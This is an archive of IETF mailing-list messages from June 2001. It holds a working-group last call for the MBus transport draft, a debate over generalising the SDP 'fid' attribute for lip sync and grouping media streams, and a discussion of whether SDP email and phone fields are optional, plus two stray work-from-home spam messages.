> Cheers,
> Joerg

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Thu Jun 14 08:02:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA10379
	for confctrl-outgoing; Thu, 14 Jun 2001 08:02:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA10374
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jun 2001 08:02:02 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5EF23Z07778
	for <confctrl@isi.edu>; Thu, 14 Jun 2001 08:02:04 -0700 (PDT)
Received: from tzi.uni-bremen.de (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f5EF1o208965;
	Thu, 14 Jun 2001 17:01:50 +0200 (MEST)
Message-ID: <3B28D11A.5B42166@tzi.uni-bremen.de>
Date: Thu, 14 Jun 2001 16:58:35 +0200
From: Joerg Ott <jo@tzi.uni-bremen.de>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: WG Last Call: MBus Transport
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we would like to issue WG Last Call for Informational on

        draft-ietf-mmusic-mbus-transport-06.txt

The Last Call is to expire on 1 July 2001, we will then subbit the
document to the IESG.

Please direct all comments to the MMUSIC mailing list.

Cheers,
Joerg

From confctrl-owner  Thu Jun 14 09:23:50 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA15500
	for confctrl-outgoing; Thu, 14 Jun 2001 09:23:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA15495
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jun 2001 09:23:49 -0700 (PDT)
Received: from adsl10606.estpak.ee (adsl10606.estpak.ee [213.219.88.56])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f5EGNmZ02621
	for <confctrl@isi.edu>; Thu, 14 Jun 2001 09:23:50 -0700 (PDT)
Date: Thu, 14 Jun 2001 00:37:38 +0300
From: implast <implast@neti.ee>
X-Mailer: The Bat! (v1.49)
Reply-To: implast <implast@neti.ee>
X-Priority: 3 (Normal)
Message-ID: <9115348558.20010614003738@neti.ee>
To: confctrl@ISI.EDU
Subject: MoneyR (Opportunity of earnings)
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

      Thank you for giving attention to this message.

The work is connected with processing and sending of electronic mail.

You can make up your own flexible schedule (we offer full-time and part-time job). 
You can work at any time, which is convenient for you, at home or at office.
For the work you need the computer connected to the Internet with the functions of sending
the electronic messages.

You will earn from $ 900 up to $ 4.000 working for 7-14 hours per week. 

The income will make more than $ 9.000 if you work 30 and more hours per week in the Internet monthly.

Everything depends on your diligence and desire.

To receive the further instructions write to the following e-mail address: implast@neti.ee. 

In the column Subject write "Report". 

In the message write: " I’d like to get the further instructions” and do not forget to write your 
e-mail. The detailed information will be sent to you, and all the questions will be answered.
 

P.S. This letter is not a spam. If you are not interested in it,
simply remove and forget about it, it will not be sent to you again.

If this letter has caused you any inconveniences, accept my deep apologies!!!

I wish you success!


-- 
Best regards,
Aleksei K.                           mailto:implast@neti.ee



From confctrl-owner  Thu Jun 14 11:57:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA25525
	for confctrl-outgoing; Thu, 14 Jun 2001 11:57:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA25520
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jun 2001 11:57:25 -0700 (PDT)
Received: from radvpost.us.radvision.com ([38.150.216.6])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5EIvRZ07620
	for <confctrl@ISI.EDU>; Thu, 14 Jun 2001 11:57:27 -0700 (PDT)
Received: by RADVPOST with Internet Mail Service (5.5.2650.21)
	id <L91FYGNQ>; Thu, 14 Jun 2001 13:58:25 -0500
Message-ID: <0D5BBF5D638DD4119E3400508BD949454ED2E7@RADVPOST>
From: Orit Levin <orit@radvision.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Joerg Ott
	 <jo@ipdialog.com>
Cc: mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: RE: FID Draft - again
Date: Thu, 14 Jun 2001 13:58:15 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi guys!
Are we expected to repeat the reasons again and again?

Rereading version 01, I can see a single purpose: Introduction of "Fid"
allows for switching between different codecs based NOT on RTP payloads (as
in plain SIP today) but on a separate UDP port assignment by the receiver.

May be I am missing something, but does this feature alone justifies the
extension? Do other needs for coupling of media streams (simplest
asymmetrical communications, lip-synch, "comedia" modes, etc.) are less
imperative? May anybody in our industry today take the responsibility for
prioritizing them?

And all this when the more general definition is as simple as the original
one? (I hope that those who implemented the "fid" already would bear this
one.)

Best Regards,
Orit Levin
Chief Architect
RADVISION Inc.
TEL: +1.201.529.4300 x 230
FAX: +1.201.529.3516

-----Original Message-----
From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
Sent: Thursday, June 14, 2001 9:52 AM
To: Joerg Ott
Cc: mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU
Subject: Re: FID Draft - again

Hello Joerg,

Since we have not received any comments during the last week, I guess we
should proceed to WG last call with the 01 version of the draft.

Best regards,

Gonzalo

Joerg Ott wrote:
>
> All:
>
> After the debate on the mailing list, we have exchanged a couple of
further
> messages -- and I have received a few comments privately, in favor of and
> against extending the scope of fid.
>
> I would like to briefly re-examine the issue to come to a conclusion on
this:
>
> The idea present on the table for quite some time now, implemented by
various
> companies, and agreed upon at the last IETF is a single attribute a=fid:
to
> identify different RTP media sessions that belong together and may be used
> to convey the same information.
>
> The extension as proposed by Orit and backed by a number of other is to
> generalize the fid field (and possibly call it "mid") and devote two
> attributes to describe what the semantics are.  As a result, each media
> description can be coupled with one or more other media descriptions.
>
> The purpose to support lip sync has different semantics than purpose of
fid
> for alternate codecs.  While one performs a logical grouping of media
streams
> conveying complementary information (e.g. audio and video) (fid for lip
sync),
> the other defines a way to identify alternative streams to convey the same
> information.  The semantics is to be expressed by means of an a=fpar:
attribute
> (indicating "lip sync" or "application specific" or something else).
> More than one of such groupings shall be allowed per stream.
>
> For basic SIP multimedia calls the problem is currently solved by having
> one m= audio and one m= video lines in the SDP and implicitly assuming
> that those streams belong together.  If you propose multiple media streams
> of a single type, something like the attribute suggested by Orit is needed
> to associate two or more media streams.  This would allow you to have e.g.
> two m= audio and two m= video lines -- and you could tell which ones
belong
> together (but it does by no means support assigning any particular
semantics
> to either of the media streams).
>
> What I have not seen so far, however, is an argument that we are solving a
> real world problem right now by doing the extension.  Whicj kind of
> application (of today or tomorrow, not next week) do you have in mind
> where you convey multiple multimedia stream descriptions between two
> SIP UAs?
>
> I can see a distinction between two cases:
>
> a) Conference Bridge
>
> Assume I have a conference bridge (which seems to be the primary
motivation
> at the moment).  In this case, I may be offering a number of audio and
video
> codecs to each conference participant and let them choose independently.
> Nevertheless, I am offering exactly one peer of media streams to each
> participant, irrespective of the codec chosen.  You would imply that you
> are to correlate those two media streams (similarly to many other implicit
> assumptions of using SDP).  Now if your conference bridge does not perform
> mixing or switching of any kind, you have the CNAME/SSRC identifiers of
the
> various streams to match them at the receiver.  (Note that different
logical
> sources at a single host could well use different CNAMEs.)
>
> What do you need the lip sync field for?
>
> b) Media streams between two gateways
>
> In case you have two media gateways (or two conference bridges) I can only
see
> a potential need if you were carrying several media stream peers as part
of the
> same call.  Again, you have the CNAME/SSRC fields for identification.
>
> In any case, I assume you could use multipart bodies with several SDPs to
> have all the grouping you need for the moment -- if all you want to do is
> lip sync for several simultaneous media streams between two peers.
>
> I don't want to argue this idea to death -- but I want to get a clear
feeling
> that what we are doing here is really necessary.
>
> In the meantime, Gonzalo Camarillo has been so kind to volunteer to
compile
> a merged version of both proposals (if needed) -- but, again, I'd like to
be
> sure that this is needed.
>
> We will move ahead with a consensus either way -- but none of those
speaking
> in favor of the extension on the list have made a clear case so far why
they
> need this very feature and why it can't be done in a different (already
> defined or implied way).
>
> And I would like to repeat that we'd prefer to have people contribute to
SDPng
> instead of arguing that it is prelimenary right now and that they need
INTERIM
> solutions.
>
> Cheers,
> Joerg
>
>   ------------------------------------------------------------------------
>
> Subject: FID Draft - again
> Date: Fri, 01 Jun 2001 16:34:20 +0200
> From: Joerg Ott <jo@tzi.uni-bremen.de>
> Reply-To: csp@isi.edu
> To: csp@isi.edu
> CC: gonzalo.camarillo@lmf.ericsson.se
> Followup-To: csp@isi.edu
>
> Here comes a proposed mail for the mailing list.  Please comment.
> (not to be run THROUGH Colin, actually... ;-)
>
> Any comments?
>
> Thanks,
> Joerg
>
>
----------------------------------------------------------------------------
>
> All:
>
> After the debate on the mailing list, we have exchanged a couple of
further
> messages -- and I have received a few comments privately, in favor of and
> against extending the scope of fid.
>
> I would like to briefly re-examine the issue to come to a conclusion on
this:
>
> The idea present on the table for quite some time now, implemented by
various
> companies, and agreed upon at the last IETF is a single attribute a=fid:
to
> identify different RTP media sessions that belong together and may be used
> to convey the same information.
>
> The extension as proposed by Orit and backed by a number of other is to
> generalize the fid field (and possibly call it "mid") and devote two
> attributes to describe what the semantics are.  As a result, each media
> description can be coupled with one or more other media descriptions.
>
> The purpose to support lip sync has different semantics than purpose of
fid
> for alternate codecs.  While one performs a logical grouping of media
streams
> conveying complementary information (e.g. audio and video) (fid for lip
sync),
> the other defines a way to identify alternative streams to convey the same
> information.  The semantics is to be expressed by means of an a=fpar:
attribute
> (indicating "lip sync" or "application specific" or something else).
> More than one of such groupings shall be allowed per stream.
>
> For basic SIP multimedia calls the problem is currently solved by having
> one m= audio and one m= video lines in the SDP and implicitly assuming
> that those streams belong together.  If you propose multiple media streams
> of a single type, something like the attribute suggested by Orit is needed
> to associate two or more media streams.  This would allow you to have e.g.
> two m= audio and two m= video lines -- and you could tell which ones
belong
> together (but it does by no means support assigning any particular
semantics
> to either of the media streams).
>
> What I have not seen so far, however, is an argument that we are solving a
> real world problem right now by doing the extension.  Whicj kind of
> application (of today or tomorrow, not next week) do you have in mind
> where you convey multiple multimedia stream descriptions between two
> SIP UAs?
>
> I can see a distinction between two cases:
>
> a) Conference Bridge
>
> Assume I have a conference bridge (which seems to be the primary
motivation
> at the moment).  In this case, I may be offering a number of audio and
video
> codecs to each conference participant and let them choose independently.
> Nevertheless, I am offering exactly one peer of media streams to each
> participant, irrespective of the codec chosen.  You would imply that you
> are to correlate those two media streams (similarly to many other implicit
> assumptions of using SDP).  Now if your conference bridge does not perform
> mixing or switching of any kind, you have the CNAME/SSRC identifiers of
the
> various streams to match them at the receiver.  (Note that different
logical
> sources at a single host could well use different CNAMEs.)
>
> What do you need the lip sync field for?
>
> b) Media streams between two gateways
>
> In case you have two media gateways (or two conference bridges) I can only
see
> a potential need if you were carrying several media stream peers as part
of the
> same call.  Again, you have the CNAME/SSRC fields for identification.
>
> In any case, I assume you could use multipart bodies with several SDPs to
> have all the grouping you need for the moment -- if all you want to do is
> lip sync for several simultaneous media streams between two peers.
>
> I don't want to argue this idea to death -- but I want to get a clear
feeling
> that what we are doing here is really necessary.
>
> In the meantime, Gonzalo Camarillo has been so kind to volunteer to
compile
> a merged version of both proposals (if needed) -- but, again, I'd like to
be
> sure that this is needed.
>
> We will move ahead with a consensus either way -- but none of those
speaking
> in favor of the extension on the list have made a clear case so far why
they
> need this very feature and why it can't be done in a different (already
> defined or implied way).
>
> And I would like to repeat that we'd prefer to have people contribute to
SDPng
> instead of arguing that it is prelimenary right now and that they need
INTERIM
> solutions.
>
> Cheers,
> Joerg

--
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                  
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Thu Jun 14 12:20:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA26915
	for confctrl-outgoing; Thu, 14 Jun 2001 12:20:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA26910
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jun 2001 12:20:50 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5EJKmZ18525
	for <confctrl@ISI.EDU>; Thu, 14 Jun 2001 12:20:48 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f5EJKgO04209;
	Thu, 14 Jun 2001 21:20:42 +0200 (MEST)
Received: from lmf.ericsson.se (racom-bo-7.bo.us.am.ericsson.se [138.85.235.237])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id VAA22374;
	Thu, 14 Jun 2001 21:21:08 +0200 (MET DST)
Message-ID: <3B29102F.F336B26@lmf.ericsson.se>
Date: Thu, 14 Jun 2001 22:27:43 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Orit Levin <orit@radvision.com>
CC: Joerg Ott <jo@ipdialog.com>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: Re: FID Draft - again
References: <0D5BBF5D638DD4119E3400508BD949454ED2E7@RADVPOST>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

> Are we expected to repeat the reasons again and again?

The mail sent by Joerg did not ask anybody to repeat any reasons. The
mail asked for a "real world" example where you want to use lip-sync.
That is, what application you have in mind when proposing this
extension.

The mail also said that if there is a real world example to resolve,
there is no problem for going with the extended definition.

Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Thu Jun 14 13:30:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA01024
	for confctrl-outgoing; Thu, 14 Jun 2001 13:30:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA01018
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jun 2001 13:30:08 -0700 (PDT)
Received: from radvpost.us.radvision.com ([38.150.216.6])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5EKUAZ19273
	for <confctrl@ISI.EDU>; Thu, 14 Jun 2001 13:30:10 -0700 (PDT)
Received: by RADVPOST with Internet Mail Service (5.5.2650.21)
	id <L91FYGR5>; Thu, 14 Jun 2001 15:31:09 -0500
Message-ID: <0D5BBF5D638DD4119E3400508BD949454ED2EB@RADVPOST>
From: Orit Levin <orit@radvision.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Orit Levin
	 <orit@radvision.com>
Cc: Joerg Ott <jo@ipdialog.com>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: RE: FID Draft - again
Date: Thu, 14 Jun 2001 15:31:07 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I guess, I have hesitation from providing examples because I dislike
standards built upon examples. In addition to that, everybody is looking for
new exiting applications. Thus, I am not sure that people are willing to
share them publicly.

Nevertheless, here is a familiar application provided by my colleague:
During international videoconference a speech in a certain language is being
translated simultaneously to a number of other languages. One video stream
(that of the speaker) and all the audio streams are transmitted to the
participants. Each participant has the ability to choose a single audio in
his native language to be actually displayed. Lip-synch between video and
audio makes sense and required for one of the audio streams only. For all
the rest it is a burden. The question is: which one is the right one?

Orit. 

-----Original Message-----
From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
Sent: Thursday, June 14, 2001 3:28 PM
To: Orit Levin
Cc: Joerg Ott; mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU
Subject: Re: FID Draft - again

Hello,

> Are we expected to repeat the reasons again and again?

The mail sent by Joerg did not ask anybody to repeat any reasons. The
mail asked for a "real world" example where you want to use lip-sync.
That is, what application you have in mind when proposing this
extension.

The mail also said that if there is a real world example to resolve,
there is no problem for going with the extended definition.

Regards,

Gonzalo
--
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                  
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Fri Jun 15 13:55:03 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA13586
	for confctrl-outgoing; Fri, 15 Jun 2001 13:55:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA13521
	for <confctrl@zephyr.isi.edu>; Fri, 15 Jun 2001 13:55:00 -0700 (PDT)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5FKssZ04871;
	Fri, 15 Jun 2001 13:54:54 -0700 (PDT)
Received: from sj-msg-av-2.cisco.com (sj-msg-av-2.cisco.com [171.69.24.12])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5FKsm910985;
	Fri, 15 Jun 2001 13:54:48 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-2.cisco.com (8.10.1/8.10.1) with ESMTP id f5FKsm006393;
	Fri, 15 Jun 2001 13:54:48 -0700 (PDT)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id NAA19885; Fri, 15 Jun 2001 13:54:46 -0700 (PDT)
Message-ID: <3B2A6862.D7E2B637@cisco.com>
Date: Fri, 15 Jun 2001 15:56:18 -0400
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <csp@ISI.EDU>
CC: Rajesh Kumar <rkumar@cisco.com>, confctrl@ISI.EDU
Subject: Re: [Fwd: [Sip] Few tiny issues with SDP section of bis3]
References: <200106140220.WAA02544@purple.east.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

How about changing the bullet:

"o   Either an email field or a phone field must be specified.
    Additional email and phone fields are allowed."

to

"o Zero, one or more email fields and phone fields may be specified."

and then delete the bullet:

"o   More than one email or phone field can be given for a session
    description."


-- Flemming


Colin Perkins wrote:

> It seems that any mandatory use of p= or e= is a hang over from the
> original use of SDP with SAP. I don't see that it necessarily makes
> sense with many current uses of SDP.
>
> We should clarify this in the revision of SDP, does someone want to
> suggest wording changes to the draft?
> Colin
>
> --> Rajesh Kumar writes:
> >rfc2327  annotates them with a "*" and further says: Optional items are
> >marked with a "*".
> >
> >I take this to mean that these are optional. When using it in the context
> >of SIP, this convention should be followed. Further, I believe this
> >convention has been retained in the on-going SDP work, right?
> >
> >Rajesh
> >
> >At 04:25 PM 6/13/2001 -0400, Flemming Andreasen wrote:
> >>Can somebody clarify if either an email address ("e=") or phone number
> >>("p=") MUST
> >>be present in SDP. The spec doesn't seem entirely clear on this.
> >>
> >>
> >>Thanks
> >>
> >>         Flemming
> >>
> >>
> >>Anders Kristensen wrote:
> >>
> >> > They're optional in the grammar, but the accompanying text seems
> >> > perfectly clear that one or the other must be present. Sometimes it's
> >> > more convenient to state requirements in english than BNF - doesn't mean
> >> > it's not part of the spec. I'm pretty sure that the quoted sentence is
> >> > the only reason it's required for SIP.
> >> >
> >> > Anders
> >> >
> >> > Mohsen Soroush-nejad wrote:
> >> > >
> >> > > Section 6 of RFC 2327 lists all the SDP fields. The optional
> >> > > fields are identified by "*". "e" & "p" are identified as optional....
> >> > >
> >> > > Mohsen
> >> > > -----Original Message-----
> >> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> >> > > Sent: Wednesday, June 13, 2001 12:17 PM
> >> > > To: Anders Kristensen
> >> > > Cc: Jonathan Rosenberg; 'Cullen Jennings'; sip@ietf.org
> >> > > Subject: Re: [Sip] Few tiny issues with SDP section of bis3
> >> > >
> >> > > That's far from clear if you read it in the context it was provided in.
> >> > > Also, do
> >> > > note that both of these fields are in fact listed as optional earlier
> >> in the
> >> > > spec.
> >> > >
> >> > > -- Flemming
> >> > >
> >> > > Anders Kristensen wrote:
> >> > >
> >> > > > It's required by RFC 2327 (no idea why, though:
> >> > > >
> >> > > >    o Either an email field or a phone field must be specified.
> >> > > >      Additional email and phone fields are allowed.
> >> > > >
> >> > > > Thanks,
> >> > > > Anders
> >> > > >
> >> > > > Flemming Andreasen wrote:
> >> > > > >
> >> > > > > Jonathan Rosenberg wrote:
> >> > > > >
> >> > > > > >
> >> > > > > >
> >> > > > > > > -----Original Message-----
> >> > > > > > > From: Cullen Jennings [mailto:fluffy@cisco.com]
> >> > > > > > > Sent: Monday, June 11, 2001 3:15 PM
> >> > > > > > > To: sip@ietf.org
> >> > > > > > > Subject: [Sip] Few tiny issues with SDP section of bis3
> >> > > > > > >
> >> > > > > > >
> >> > > > > > >
> >> > > > > > > Examples in section B don't have an e or P line in the SDP
> >> > > > > > > even though one
> >> > > > > > > them must be present.
> >> > > > > >
> >> > > > > > OK, I fixed that.
> >> > > > >
> >> > > > > Speaking of that: Why is there now a requirement in the SDP section
> >> > > stating
> >> > > > > that "Either an e line or p line MUST be present." ?
> >> > > > >
> >> > > > > -- Flemming
> >> > > > >
> >> > > > > --
> >> > > > > Flemming Andreasen
> >> > > > > Cisco Systems
> >> > > > >
> >> > > > > _______________________________________________
> >> > > > > Sip mailing list
> >> > > > > Sip@ietf.org
> >> > > > > http://www.ietf.org/mailman/listinfo/sip
> >> > >
> >> > > --
> >> > > Flemming Andreasen
> >> > > Cisco Systems
> >> > >
> >> > > _______________________________________________
> >> > > Sip mailing list
> >> > > Sip@ietf.org
> >> > > http://www.ietf.org/mailman/listinfo/sip
> >>
> >>--
> >>Flemming Andreasen
> >>Cisco Systems
> >
> >  Rajesh
> >--------------------------------------------------------
> >Rajesh Kumar
> >Cisco Voice Technology Center
> >Tel: 408-527-0811, Fax: 408-853-1101
> >Epage: mailto:rkumar@epage.cisco.com
> >------------------------------------------------ --------
> >
> >

--
Flemming Andreasen
Cisco Systems





From confctrl-owner  Sun Jun 17 10:00:14 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA28100
	for confctrl-outgoing; Sun, 17 Jun 2001 10:00:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA28095
	for <confctrl@zephyr.isi.edu>; Sun, 17 Jun 2001 10:00:09 -0700 (PDT)
Received: from adsl10591.estpak.ee (adsl10591.estpak.ee [213.219.88.41])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f5HH08Z15319
	for <confctrl@isi.edu>; Sun, 17 Jun 2001 10:00:09 -0700 (PDT)
Date: Sun, 17 Jun 2001 17:48:56 +0300
From: implast <implast@neti.ee>
X-Mailer: The Bat! (v1.49)
Reply-To: implast <implast@neti.ee>
X-Priority: 3 (Normal)
Message-ID: <6210461375.20010617174856@neti.ee>
To: confctrl@ISI.EDU
Subject: MoneyR (Opportunity of earnings)
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

      Thank you for giving attention to this message.

The work is connected with processing and sending of electronic mail.

You can make up your own flexible schedule (we offer full-time and part-time job). 
You can work at any time, which is convenient for you, at home or at office.
For the work you need the computer connected to the Internet with the functions of sending
the electronic messages.

You will earn from $ 900 up to $ 4.000 working for 7-14 hours per week. 

The income will make more than $ 9.000 if you work 30 and more hours per week in the Internet monthly.

Everything depends on your diligence and desire.

To receive the further instructions write to the following e-mail address: implast@neti.ee. 

In the column Subject write "Report". 

In the message write: " I’d like to get the further instructions” and do not forget to write your 
e-mail. The detailed information will be sent to you, and all the questions will be answered.
 

P.S. This letter is not a spam. If you are not interested in it,
simply remove and forget about it, it will not be sent to you again.

If this letter has caused you any inconveniences, accept my deep apologies!!!

I wish you success!


-- 
Best regards,
Aleksei K.                           mailto:implast@neti.ee



From confctrl-owner  Mon Jun 18 00:15:15 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA01457
	for confctrl-outgoing; Mon, 18 Jun 2001 00:15:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA01451
	for <confctrl@zephyr.isi.edu>; Mon, 18 Jun 2001 00:15:13 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5I7FDZ02324
	for <confctrl@ISI.EDU>; Mon, 18 Jun 2001 00:15:13 -0700 (PDT)
Received: from ipdialog.com (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f5I7Ej218629;
	Mon, 18 Jun 2001 09:14:46 +0200 (MEST)
Message-ID: <3B2DA9A5.34824A86@ipdialog.com>
Date: Mon, 18 Jun 2001 09:11:33 +0200
From: Joerg Ott <jo@ipdialog.com>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Orit Levin <orit@radvision.com>
CC: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: Re: FID Draft - again
References: <0D5BBF5D638DD4119E3400508BD949454ED2E7@RADVPOST>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Orit,

> Are we expected to repeat the reasons again and again?
 
I wasn't specifically asking for the same arguments again.  I went through
a number of scenarios and, as outlined in my email, I did not find anything
that you could not do with SDP *and* implied meaning as opposed to current
SDP *and* stream-sync fid *and* implied meaning.  This is why I explicitly
said that I would like to see a particular case where you need this further
information.

> Rereading version 01, I can see a single purpose: Introduction of "Fid"
> allows for switching between different codecs based NOT on RTP payloads (as
> in plain SIP today) but on a separate UDP port assignment by the receiver.

Not entirely, the intention was to have other transport addresses included
-- which allows for what you describe but also for having a stream sent to
a different location.

> May be I am missing something, but does this feature alone justifies the
> extension? Do other needs for coupling of media streams (simplest
> asymmetrical communications, lip-synch, "comedia" modes, etc.) are less
> imperative? May anybody in our industry today take the responsibility for
> prioritizing them?

Orit, I am very much in favor of doing general solutions to problems.  But
we are doing fixes here -- and only fixes.  And I would like to keep the
broadness of these, the possible ways of misuse or re-interpretation, etc.
to a minimum.  I don't want to have to maintain implementors guides at some
point that explain how you can do miraculous things with SDP by combining
what is there is weird ways and have to chase off people who come up with
even further ideas.  This is why I am being so conservative.

> 
> And all this when the more general definition is as simple as the original
> one? (I hope that those who implemented the "fid" already would bear this
> one.)

I agree that, literally, you are asking for a minor change only (but it bears
some risks).  And I pointed out, I am happy to go with consensus either way.
So if there is a real need for a broader extension then I may be convinced. 
